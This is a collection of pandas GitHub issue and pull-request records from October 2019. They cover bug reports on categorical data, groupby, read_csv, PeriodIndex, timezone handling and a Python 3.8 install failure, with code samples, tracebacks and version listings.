numpy : 1.16.5
pytz : 2019.3
dateutil : 2.8.0
pip : 19.2.3
setuptools : 41.4.0
Cython : None
pytest : 5.0.1
hypothesis : None
sphinx : 2.2.0
blosc : None
feather : None
xlsxwriter : None
lxml.etree : 4.4.1
html5lib : None
pymysql : None
psycopg2 : None
jinja2 : 2.10.3
IPython : 7.8.0
pandas_datareader: None
bs4 : None
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : 4.4.1
matplotlib : 3.1.0
numexpr : None
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : None
sqlalchemy : None
tables : None
xarray : None
xlrd : 1.2.0
xlwt : None
xlsxwriter : None
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https://api.github.com/repos/pandas-dev/pandas/issues/29038 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29038/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29038/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29038/events | https://github.com/pandas-dev/pandas/issues/29038 | 507,989,311 | MDU6SXNzdWU1MDc5ODkzMTE= | 29,038 | REF/PERF: PeriodEngine covers narrow type | {
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] | closed | false | null | [] | null | 3 | 2019-10-16T17:22:21Z | 2020-01-16T21:36:21Z | 2020-01-16T21:36:21Z | CONTRIBUTOR | null | #### Code Sample, a copy-pastable example if possible
```python
pi = pd.period_range(start=2000, end=2019, freq="A")
p = pd.Period(2010, freq="A")
In [7]: pi._engine.get_loc(p)
---------------------------------------------------------------------------
KeyError Traceback (most recent call last)
<ipython-input-7-cd77985ba7c9> in <module>
----> 1 pi._engine.get_loc(p)
pandas/_libs/index.pyx in pandas._libs.index.IndexEngine.get_loc()
pandas/_libs/index.pyx in pandas._libs.index.IndexEngine.get_loc()
pandas/_libs/index_class_helper.pxi in pandas._libs.index.Int64Engine._check_type()
KeyError: Period('2010', 'A-DEC')
```
#### Problem description
When i handled #28628, i found `PeriodEngine` only works for Int type. So `PeriodIndex.get_loc` compute twice because `PeriodEngine.get_loc` only accepts Int type.
#### Suggestion
`.get_loc` on `PeriodIndex` computes once. Either expanding `PeriodEngine.get_loc` accept data type or removeing `PeriodEngine.get_loc` are ok
#### Output of ``pd.show_versions()``
<details>
[paste the output of ``pd.show_versions()`` here below this line]
INSTALLED VERSIONS
------------------
commit : None
python : 3.7.1.final.0
python-bits : 64
OS : Linux
OS-release : 5.0.0-31-generic
machine : x86_64
processor : x86_64
byteorder : little
LC_ALL : None
LANG : ko_KR.UTF-8
LOCALE : ko_KR.UTF-8
pandas : 0.25.1
numpy : 1.16.1
pytz : 2018.7
dateutil : 2.7.5
pip : 19.3
setuptools : 40.6.3
Cython : 0.29.2
pytest : 5.1.0
hypothesis : None
sphinx : 1.8.2
blosc : None
feather : None
xlsxwriter : 1.1.2
lxml.etree : 4.2.5
html5lib : 1.0.1
pymysql : 0.9.3
psycopg2 : None
jinja2 : 2.10.1
IPython : 7.2.0
pandas_datareader: None
bs4 : 4.8.0
bottleneck : 1.2.1
fastparquet : None
gcsfs : None
lxml.etree : 4.2.5
matplotlib : 3.0.2
numexpr : 2.6.8
odfpy : None
openpyxl : 2.5.12
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : 1.1.0
sqlalchemy : 1.2.15
tables : 3.4.4
xarray : None
xlrd : 1.2.0
xlwt : 1.3.0
xlsxwriter : 1.1.2
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} | 4 | 2019-10-16T17:28:11Z | 2019-10-18T03:10:13Z | 2019-10-17T21:24:40Z | CONTRIBUTOR | null | #### Code Sample, a copy-pastable example if possible
```python
import pandas as pd
# Create demo data for package delivery
df = pd.DataFrame({'package_id': [1, 1, 1, 2, 2, 3],
'status': ['Waiting', 'OnTheWay', 'Delivered', 'Waiting', 'OnTheWay', 'Waiting']})
# Status column: Make ordinal
delivery_status_type = pd.CategoricalDtype(categories=['Waiting', 'OnTheWay', 'Delivered'], ordered=True)
df['status'] = df['status'].astype(delivery_status_type)
# Way 1: Looks correct
max1 = df['status'].max()
print(max1)
# Way 2: Incorrect. Prints bad value 'Waiting' instead of correct value 'Delivered'
max2 = max(df['status'])
print(max2)
>>> Delivered # (is OK)
>>> Waiting # (is WRONG)
```
#### Problem description
Generic function `max()` return incorrect result on categorical Series.
#### Expected Output
Way 2 (in code) should return correct value `Delivered`,
not bad value `Waiting`
#### Output of ``pd.show_versions()``
<details>
INSTALLED VERSIONS
------------------
commit : None
python : 3.7.3.final.0
python-bits : 64
OS : Windows
OS-release : 10
machine : AMD64
processor : Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
byteorder : little
LC_ALL : None
LANG : None
LOCALE : None.None
pandas : 0.25.1
numpy : 1.16.5
pytz : 2019.3
dateutil : 2.8.0
pip : 19.2.3
setuptools : 41.4.0
Cython : None
pytest : 5.0.1
hypothesis : None
sphinx : 2.2.0
blosc : None
feather : None
xlsxwriter : None
lxml.etree : 4.4.1
html5lib : None
pymysql : None
psycopg2 : None
jinja2 : 2.10.3
IPython : 7.8.0
pandas_datareader: None
bs4 : None
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : 4.4.1
matplotlib : 3.1.0
numexpr : None
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : None
sqlalchemy : None
tables : None
xarray : None
xlrd : 1.2.0
xlwt : None
xlsxwriter : None
</details>
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} | 5 | 2019-10-16T19:54:03Z | 2019-10-18T17:31:45Z | 2019-10-18T17:28:04Z | MEMBER | null | no longer necessary now that the funcs there use fused types. | {
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https://api.github.com/repos/pandas-dev/pandas/issues/29041 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29041/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29041/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29041/events | https://github.com/pandas-dev/pandas/pull/29041 | 508,082,981 | MDExOlB1bGxSZXF1ZXN0MzI4OTQ1MjM0 | 29,041 | Fix mypy in pandas/tests/arithmetic/test_datetime64.py | {
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] | closed | false | null | [] | null | 3 | 2019-10-16T20:32:01Z | 2019-12-27T19:40:44Z | 2019-12-27T19:40:43Z | CONTRIBUTOR | null | GH28926, mypy did not like DatetimeIndex's __new__,
and couldn't find a method
- [x] addresses part of #28926
- [x] tests added / passed
- [x] passes `black pandas`
- [ ] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
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https://api.github.com/repos/pandas-dev/pandas/issues/29042 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29042/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29042/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29042/events | https://github.com/pandas-dev/pandas/issues/29042 | 508,083,756 | MDU6SXNzdWU1MDgwODM3NTY= | 29,042 | BUG: read_csv with trailing comma, specified header names and usecols gives confusing error | {
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} | 9 | 2019-10-16T20:33:37Z | 2020-12-13T17:37:12Z | 2020-12-13T17:37:04Z | MEMBER | null | Encountered this somewhat strange case: in case you have a malformed file (trailing comma's), we typically set the first column as the index. But if you also pass custom names, and use `usecols`, in that case you get a cryptic error message:
```
import io
s = """a, b, c, d
1,2,3,4,
5,6,7,8,"""
```
```
>>> pd.read_csv(io.StringIO(s), header=0, names=['A', 'B', 'C', 'D'], usecols=[2,3])
...
ValueError: Passed header names mismatches usecols
```
I am not fully sure what the behaviour *should* be, but the current error message is not very helpful (since the usecols argument is only using integers, they are positional, and don't need to match the header names) | {
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https://api.github.com/repos/pandas-dev/pandas/issues/29043 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29043/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29043/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29043/events | https://github.com/pandas-dev/pandas/issues/29043 | 508,130,936 | MDU6SXNzdWU1MDgxMzA5MzY= | 29,043 | Pandas will not install on Python 3.8 Docker Image | {
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... | closed | false | null | [] | null | 3 | 2019-10-16T22:24:01Z | 2021-07-26T07:06:47Z | 2019-10-17T19:49:04Z | NONE | null | #### Code Sample, a copy-pastable example if possible
Use this dockerfile
```
FROM python:3.8-slim
RUN pip install pandas
```
#### Problem description
Running "docker build . -f <above_docker_file>" results in the error seen below. If I change the dockerfile to be "python:3.7-slim" then pandas installs. The only major difference I can see between the two dockerfiles is the Python version. Not 100% sure it's the version since I haven't tried installing pandas on a native version of 3.8, but it seems likely.
#### Output
<details>
```
Sending build context to Docker daemon 56.83kB
Step 1/2 : FROM python:3.8-slim
---> de57bccf5f31
Step 2/2 : RUN pip install pandas
---> Running in 78165c545ab0
Collecting pandas
Downloading https://files.pythonhosted.org/packages/07/cf/1b6917426a9a16fd79d56385d0d907f344188558337d6b81196792f857e9/pandas-0.25.1.tar.gz (12.6MB)
ERROR: Command errored out with exit status 1:
command: /usr/local/bin/python -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-ggo_fivb/pandas/setup.py'"'"'; __file__='"'"'/tmp/pip-install-ggo_fivb/pandas/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-install-ggo_fivb/pandas/pip-egg-info
cwd: /tmp/pip-install-ggo_fivb/pandas/
Complete output (178 lines):
/bin/sh: 1: svnversion: not found
non-existing path in 'numpy/distutils': 'site.cfg'
non-existing path in 'numpy/random': 'src/splitmix64/splitmix.h'
Could not locate executable gfortran
Could not locate executable f95
Could not locate executable ifort
Could not locate executable ifc
Could not locate executable lf95
Could not locate executable pgfortran
Could not locate executable f90
Could not locate executable f77
Could not locate executable fort
Could not locate executable efort
Could not locate executable efc
Could not locate executable g77
Could not locate executable g95
Could not locate executable pathf95
Could not locate executable nagfor
don't know how to compile Fortran code on platform 'posix'
Running from numpy source directory.
/tmp/easy_install-q3g08y_k/numpy-1.17.2/setup.py:418: UserWarning: Unrecognized setuptools command, proceeding with generating Cython sources and expanding templates
run_build = parse_setuppy_commands()
/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/system_info.py:690: UserWarning:
Optimized (vendor) Blas libraries are not found.
Falls back to netlib Blas library which has worse performance.
A better performance should be easily gained by switching
Blas library.
self.calc_info()
/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/system_info.py:690: UserWarning:
Blas (http://www.netlib.org/blas/) libraries not found.
Directories to search for the libraries can be specified in the
numpy/distutils/site.cfg file (section [blas]) or by setting
the BLAS environment variable.
self.calc_info()
/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/system_info.py:690: UserWarning:
Blas (http://www.netlib.org/blas/) sources not found.
Directories to search for the sources can be specified in the
numpy/distutils/site.cfg file (section [blas_src]) or by setting
the BLAS_SRC environment variable.
self.calc_info()
/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/system_info.py:1712: UserWarning:
Lapack (http://www.netlib.org/lapack/) libraries not found.
Directories to search for the libraries can be specified in the
numpy/distutils/site.cfg file (section [lapack]) or by setting
the LAPACK environment variable.
if getattr(self, '_calc_info_{}'.format(lapack))():
/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/system_info.py:1712: UserWarning:
Lapack (http://www.netlib.org/lapack/) sources not found.
Directories to search for the sources can be specified in the
numpy/distutils/site.cfg file (section [lapack_src]) or by setting
the LAPACK_SRC environment variable.
if getattr(self, '_calc_info_{}'.format(lapack))():
/usr/local/lib/python3.8/distutils/dist.py:274: UserWarning: Unknown distribution option: 'define_macros'
warnings.warn(msg)
Traceback (most recent call last):
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 154, in save_modules
yield saved
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 195, in setup_context
yield
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 250, in run_setup
_execfile(setup_script, ns)
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 45, in _execfile
exec(code, globals, locals)
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/setup.py", line 443, in <module>
cmdclass["cython"] = CythonCommand
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/setup.py", line 435, in setup_package
pass
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/core.py", line 171, in setup
File "/usr/local/lib/python3.8/site-packages/setuptools/__init__.py", line 145, in setup
return distutils.core.setup(**attrs)
File "/usr/local/lib/python3.8/distutils/core.py", line 148, in setup
dist.run_commands()
File "/usr/local/lib/python3.8/distutils/dist.py", line 966, in run_commands
self.run_command(cmd)
File "/usr/local/lib/python3.8/distutils/dist.py", line 985, in run_command
cmd_obj.run()
File "/usr/local/lib/python3.8/site-packages/setuptools/command/bdist_egg.py", line 163, in run
self.run_command("egg_info")
File "/usr/local/lib/python3.8/distutils/cmd.py", line 313, in run_command
self.distribution.run_command(command)
File "/usr/local/lib/python3.8/distutils/dist.py", line 985, in run_command
cmd_obj.run()
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/command/egg_info.py", line 26, in run
File "/usr/local/lib/python3.8/distutils/cmd.py", line 313, in run_command
self.distribution.run_command(command)
File "/usr/local/lib/python3.8/distutils/dist.py", line 985, in run_command
cmd_obj.run()
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/command/build_src.py", line 142, in run
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/command/build_src.py", line 153, in build_sources
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/command/build_src.py", line 286, in build_library_sources
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/command/build_src.py", line 369, in generate_sources
File "numpy/core/setup.py", line 669, in get_mathlib_info
"depends": tseries_depends,
RuntimeError: Broken toolchain: cannot link a simple C program
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/tmp/pip-install-ggo_fivb/pandas/setup.py", line 807, in <module>
setup(
File "/usr/local/lib/python3.8/site-packages/setuptools/__init__.py", line 144, in setup
_install_setup_requires(attrs)
File "/usr/local/lib/python3.8/site-packages/setuptools/__init__.py", line 139, in _install_setup_requires
dist.fetch_build_eggs(dist.setup_requires)
File "/usr/local/lib/python3.8/site-packages/setuptools/dist.py", line 717, in fetch_build_eggs
resolved_dists = pkg_resources.working_set.resolve(
File "/usr/local/lib/python3.8/site-packages/pkg_resources/__init__.py", line 780, in resolve
dist = best[req.key] = env.best_match(
File "/usr/local/lib/python3.8/site-packages/pkg_resources/__init__.py", line 1065, in best_match
return self.obtain(req, installer)
File "/usr/local/lib/python3.8/site-packages/pkg_resources/__init__.py", line 1077, in obtain
return installer(requirement)
File "/usr/local/lib/python3.8/site-packages/setuptools/dist.py", line 787, in fetch_build_egg
return cmd.easy_install(req)
File "/usr/local/lib/python3.8/site-packages/setuptools/command/easy_install.py", line 679, in easy_install
return self.install_item(spec, dist.location, tmpdir, deps)
File "/usr/local/lib/python3.8/site-packages/setuptools/command/easy_install.py", line 705, in install_item
dists = self.install_eggs(spec, download, tmpdir)
File "/usr/local/lib/python3.8/site-packages/setuptools/command/easy_install.py", line 890, in install_eggs
return self.build_and_install(setup_script, setup_base)
File "/usr/local/lib/python3.8/site-packages/setuptools/command/easy_install.py", line 1158, in build_and_install
self.run_setup(setup_script, setup_base, args)
File "/usr/local/lib/python3.8/site-packages/setuptools/command/easy_install.py", line 1144, in run_setup
run_setup(setup_script, args)
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 253, in run_setup
raise
File "/usr/local/lib/python3.8/contextlib.py", line 131, in __exit__
self.gen.throw(type, value, traceback)
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 195, in setup_context
yield
File "/usr/local/lib/python3.8/contextlib.py", line 131, in __exit__
self.gen.throw(type, value, traceback)
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 166, in save_modules
saved_exc.resume()
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 141, in resume
six.reraise(type, exc, self._tb)
File "/usr/local/lib/python3.8/site-packages/setuptools/_vendor/six.py", line 685, in reraise
raise value.with_traceback(tb)
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 154, in save_modules
yield saved
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 195, in setup_context
yield
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 250, in run_setup
_execfile(setup_script, ns)
File "/usr/local/lib/python3.8/site-packages/setuptools/sandbox.py", line 45, in _execfile
exec(code, globals, locals)
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/setup.py", line 443, in <module>
cmdclass["cython"] = CythonCommand
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/setup.py", line 435, in setup_package
pass
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/core.py", line 171, in setup
File "/usr/local/lib/python3.8/site-packages/setuptools/__init__.py", line 145, in setup
return distutils.core.setup(**attrs)
File "/usr/local/lib/python3.8/distutils/core.py", line 148, in setup
dist.run_commands()
File "/usr/local/lib/python3.8/distutils/dist.py", line 966, in run_commands
self.run_command(cmd)
File "/usr/local/lib/python3.8/distutils/dist.py", line 985, in run_command
cmd_obj.run()
File "/usr/local/lib/python3.8/site-packages/setuptools/command/bdist_egg.py", line 163, in run
self.run_command("egg_info")
File "/usr/local/lib/python3.8/distutils/cmd.py", line 313, in run_command
self.distribution.run_command(command)
File "/usr/local/lib/python3.8/distutils/dist.py", line 985, in run_command
cmd_obj.run()
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/command/egg_info.py", line 26, in run
File "/usr/local/lib/python3.8/distutils/cmd.py", line 313, in run_command
self.distribution.run_command(command)
File "/usr/local/lib/python3.8/distutils/dist.py", line 985, in run_command
cmd_obj.run()
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/command/build_src.py", line 142, in run
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/command/build_src.py", line 153, in build_sources
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/command/build_src.py", line 286, in build_library_sources
File "/tmp/easy_install-q3g08y_k/numpy-1.17.2/numpy/distutils/command/build_src.py", line 369, in generate_sources
File "numpy/core/setup.py", line 669, in get_mathlib_info
"depends": tseries_depends,
RuntimeError: Broken toolchain: cannot link a simple C program
----------------------------------------
ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
The command '/bin/sh -c pip install pandas' returned a non-zero code: 1
```
</details>
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} | 10 | 2019-10-17T00:05:05Z | 2021-07-21T06:14:03Z | 2021-07-21T06:14:02Z | NONE | null | #### Code Sample, a copy-pastable example if possible
```python
# prepare data
s = pd.Series(np.arange(4), index=pd.MultiIndex.from_product([list('ab'), list('cd')]))
# note the index 'i' is constant so that groupby would produce a single group
df = pd.DataFrame.from_dict({'i': [True, True, True, True], 'x': np.arange(4), 'y': list('abcd')}).set_index(['i'])
# indexing: irreversible loss of dtype info
# There is no way to compute 'dataframe' result from the 'series' one.
>>> df.iloc[0].dtype # series
dtype('O')
# vs
>>> df.iloc[[0]].dtypes # dataframe (desirable output)
x int64
y object
# unstack: unexpected shape of double-unstack (should be one-row dataframe)
>>> s.unstack() # this produces expected output
c d
a 0 1
b 2 3
>>> s.unstack().unstack() # this should be a one-row dataframe, not series
c a 0
b 2
d a 1
b 3
dtype: int64
# aggregate; same loss of dtype info as in indexing
>>> def get_1st_row(x):
...: return x.iloc[0]
>>> df.aggregate(get_1st_row).dtype # lost type info
dtype('O')
>>> df.groupby('i').aggregate(get_1st_row).dtypes # desirable output
x int64
y object
dtype: object
>>>
# doesn't play well with iterators.
# There should be no difference between iteration over groups
# in the groupby object, and the aggregation of the groupby object.
# The following two computations are morally equivalent, yet
# their results differ
>>> df2 = pd.concat({k: df for k in range(2)})
>>> df2.groupby(level=0).aggregate(get_1st_row) # desirable output
x y
0 0 a
1 0 a
# vs
>>> pd.concat((_df.aggregate(get_1st_row) for k, _df in df2.groupby(level=0))) # unexpected output
x 0
y a
x 0
y a
dtype: object
```
#### Problem description
Whenever pandas is to return a single-row dataframe it, conventionally, returns a series instead.
Examples of such operations include: a) indexing a single row, b) unstacking, c) dataframe aggregation, and d) groupby aggregation vs iteration over groups.
This leads to loss of dtype information, unexpected output shapes, and shape mismatch between two morally equivalent computations.
My proposal is to add a new dataframe-row class DFRow(DataFrame) and return an instance of that class instead of returning Series in indexing, aggregation, transposition, and unstack-ing.
Returning a single-row DataFrame w/o casting it to DFRow would create ambiguity in unstack-ing:
DFRow should not be unstack-able (just as Series is not stack-able), but a generic single-row DataFrame should be unstack-able until its index levels are exhausted, at which point unstack() should return DFRow.
**UPDATE**
It turned out there is an existing way of controlling the shape of the output. Here is a workaround:
```
>>> df.aggregate([get_1st_row])
x y
get_1st_row 0 a
>>> pd.concat((_df.aggregate([get_1st_row]) for k, _df in df2.groupby(level=0)))
x y
get_1st_row 0 a
get_1st_row 0 a
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} | 22 | 2019-10-17T00:30:25Z | 2020-03-25T23:51:19Z | 2020-03-25T23:51:10Z | CONTRIBUTOR | null | - [x] xref #28926
- [x] tests added / passed
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] ~whatsnew entry~
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} | 4 | 2019-10-17T02:30:50Z | 2019-10-18T17:35:35Z | 2019-10-18T17:27:30Z | MEMBER | null | This moves the `nogil` parameter of in the template from being hard-coded to being derived from the other parameters.
This changes the parameter value on line 18 (int8/int8) which currently has `nogil=False` which I think is incorrect. | {
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} | 6 | 2019-10-17T06:40:58Z | 2019-10-17T13:03:23Z | 2019-10-17T13:03:15Z | NONE | null | Actually I wanna replace NaN with "mode" value of the variable.
But the following code doesn't work.
```python
# Your code here
a = df.Embarked.mode()
df.Embarked[df.Embarked.isna()].replace(a.values[0], inplace=True)
df.Embarked[df.Embarked.isna()]
>>>61 NaN
829 NaN
Name: Embarked, dtype: object
```
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"id": ... | open | false | null | [] | null | 0 | 2019-10-17T09:26:33Z | 2021-07-21T06:14:31Z | null | NONE | null | #### Code Sample, a copy-pastable example if possible
```python
import pandas as pd
from pandas.tseries.holiday import Holiday, USThanksgivingDay
blackfriday = Holiday('Black Friday', month=USThanksgivingDay.month, day=USThanksgivingDay.day, offset=[USThanksgivingDay.offset, pd.DateOffset(1)])
cybermonday = Holiday('Cyber Monday', month=blackfriday.month, day=blackfriday.day, offset=[blackfriday.offset, pd.DateOffset(3)])
min_date, max_date = [pd.to_datetime(x) for x in ['2017-11-1', '2018-11-30']]
blackfriday.dates(min_date, max_date) # OK!
cybermonday.dates(min_date, max_date) # TypeError: unsupported operand type(s) for +: 'DatetimeIndex' and 'list'
```
#### Problem description
The current behaviour is a problem, because it should be possible always to define Holidays relative to other holidays, instead of finding the "mother" Holiday without a dateoffset.
Expected output would be no error
A potential solution could be to sum consecutive dateoffsets (timedeltas) in the offset list, when a Holiday is constructed.
#### Expected Output
DatetimeIndex(['2017-11-27', '2018-11-26'], dtype='datetime64[ns]', freq=None)
#### Output of ``pd.show_versions()``
INSTALLED VERSIONS
------------------
commit: None
pandas: 0.24.1
pytest: None
pip: 19.3
setuptools: 41.4.0
Cython: 0.29.13
numpy: 1.15.4
scipy: 1.1.0
pyarrow: 0.15.0
xarray: None
IPython: 7.8.0
sphinx: None
patsy: None
dateutil: 2.8.0
pytz: 2019.3
blosc: None
bottleneck: None
tables: None
numexpr: None
feather: 0.4.0
matplotlib: None
openpyxl: None
xlrd: None
xlwt: None
xlsxwriter: None
lxml.etree: None
bs4: None
html5lib: None
sqlalchemy: 1.3.10
pymysql: None
psycopg2: None
jinja2: 2.10.3
s3fs: None
fastparquet: None
pandas_gbq: None
pandas_datareader: None
gcsfs: None
</details>
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] | closed | false | null | [] | null | 5 | 2019-10-17T10:42:31Z | 2020-01-07T14:24:53Z | 2019-10-22T12:57:42Z | NONE | null | - [ ] closes #xxxx
- [ ] tests added / passed
- [ ] passes `black pandas`
- [ ] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
Add support for customised S3 servers via checking the environment variable `S3_ENDPOINT`.
If set, the value of `S3_ENDPOINT` will be passed to the `endpoint_url` parameter for `boto3.Session`. It should be the complete URL to S3 service following the format: http(s)://{host}:{port}.
This feature is useful for companies who use their own S3 servers like MinIO, Ceph etc, as mentioned in issue #26195 | {
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https://api.github.com/repos/pandas-dev/pandas/issues/29051 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29051/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29051/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29051/events | https://github.com/pandas-dev/pandas/issues/29051 | 508,443,787 | MDU6SXNzdWU1MDg0NDM3ODc= | 29,051 | BUG: inconsistent behaviour of Groupby (probably a regression) | {
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} | [] | closed | false | null | [] | null | 1 | 2019-10-17T12:32:37Z | 2019-10-17T12:39:07Z | 2019-10-17T12:36:41Z | NONE | null | First, thank you very much for your work ! I love pandas !
The problem
#### Code Sample
```python
import pandas as pd
# intialise data of lists.
data = {'Fruit':['Apple', 'Orange', 'Apple'],
'Origin':['France', 'France', 'Spain'],
'Price':[10, 15, 20]}
# Create DataFrame without categorical variable
df = pd.DataFrame(data)
# Same dataframe with categorical variable
df_category = df.copy()
df_category['Origin'] = df_category['Origin'].astype('category')
df
# Normal behavior
df.groupby(['Fruit','Origin'])['Price'].mean()
# Abnormal behavior
df_category.groupby(['Fruit','Origin'])['Price'].mean()
```
#### Return
```python
# Normal behavior
Fruit Origin
Apple France 10
Spain 20
Orange France 15
Name: Price, dtype: int64
# Abnormal behavior
Fruit Origin
Apple France 10.0
Spain 20.0
Orange France 15.0
Spain NaN
Name: Price, dtype: float64
```
#### Problem description
Bug that should have been solved with #20583. I supposed it is a regression. No new discussion since May 2018, so I prefer to reopen a issue.
Brief description: When a column of a groupby is a categorical variable, the output include rows with NA.
#### Expected Output
```
Fruit Origin
Apple France 10
Spain 20
Orange France 15
Name: Price, dtype: int64
```
#### Output of ``pd.show_versions()``
<details>
INSTALLED VERSIONS
------------------
commit : None
python : 3.7.0.final.0
python-bits : 64
OS : Darwin
OS-release : 18.7.0
machine : x86_64
processor : i386
byteorder : little
LC_ALL : None
LANG : fr_FR.UTF-8
LOCALE : fr_FR.UTF-8
pandas : 0.25.1
numpy : 1.16.5
pytz : 2019.2
dateutil : 2.8.0
pip : 19.2.2
setuptools : 41.0.1
Cython : None
pytest : None
hypothesis : None
sphinx : None
blosc : None
feather : None
xlsxwriter : None
lxml.etree : 4.4.1
html5lib : None
pymysql : None
psycopg2 : 2.7.5 (dt dec pq3 ext lo64)
jinja2 : 2.10.1
IPython : 7.8.0
pandas_datareader: None
bs4 : 4.8.0
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : 4.4.1
matplotlib : 3.1.1
numexpr : None
odfpy : None
openpyxl : 2.6.2
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : 1.3.1
sqlalchemy : None
tables : None
xarray : None
xlrd : 1.2.0
xlwt : None
xlsxwriter : None
</details>
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} | 3 | 2019-10-17T13:55:51Z | 2019-10-20T13:49:55Z | 2019-10-20T13:49:55Z | NONE | null | #### Copy-pastable Code Sample
```python
import pandas as pd
df = pd.DataFrame(
data=[0, 1, 2],
index=[
pd.Timestamp('2019-03-15 12:34:31.909000+0000', tz='UTC'),
pd.Timestamp('2019-03-15 12:34:34.359000+0000', tz='UTC'),
pd.Timestamp('2019-03-15 12:34:34.660000+0000', tz='UTC'),
],
)
df.apply(lambda x: x.name, axis=1)
```
Outputs:
```
2019-03-15 12:34:31.909000+00:00 2019-03-15 12:34:31.909
2019-03-15 12:34:34.359000+00:00 2019-03-15 12:34:34.359
2019-03-15 12:34:34.660000+00:00 2019-03-15 12:34:34.660
dtype: datetime64[ns]
```
#### Problem description
When `apply`ing a function on each row (`axis=1`) the index of that row becomes name of the serie passed to the function. Any type conversion, such as dropping timezone, is unexpected.
Workaround: `df.reset_index().apply(lambda x: x["time"], axis=1)`
#### Expected Output
Expect the timezones to be kept. E.g.
```
2019-03-15 12:34:31.909000+00:00 2019-03-15 12:34:31.909+00:00
2019-03-15 12:34:34.359000+00:00 2019-03-15 12:34:34.359+00:00
2019-03-15 12:34:34.660000+00:00 2019-03-15 12:34:34.660+00:00
dtype: datetime64[ns, UTC]
```
#### Output of ``pd.show_versions()``
<details>
INSTALLED VERSIONS
------------------
commit : None
python : 3.7.4.final.0
python-bits : 64
OS : Linux
OS-release : 4.15.0-62-generic
machine : x86_64
processor : x86_64
byteorder : little
LC_ALL : None
LANG : en_DK.UTF-8
LOCALE : en_DK.UTF-8
pandas : 0.25.1
numpy : 1.17.2
pytz : 2019.2
dateutil : 2.8.0
pip : 19.3
setuptools : 41.2.0
Cython : None
pytest : None
hypothesis : None
sphinx : None
blosc : None
feather : None
xlsxwriter : None
lxml.etree : None
html5lib : None
pymysql : None
psycopg2 : None
jinja2 : 2.10.1
IPython : 7.8.0
pandas_datareader: None
bs4 : None
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : None
matplotlib : 3.1.1
numexpr : None
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : 1.3.1
sqlalchemy : None
tables : None
xarray : None
xlrd : 1.2.0
xlwt : None
xlsxwriter : None
</details>
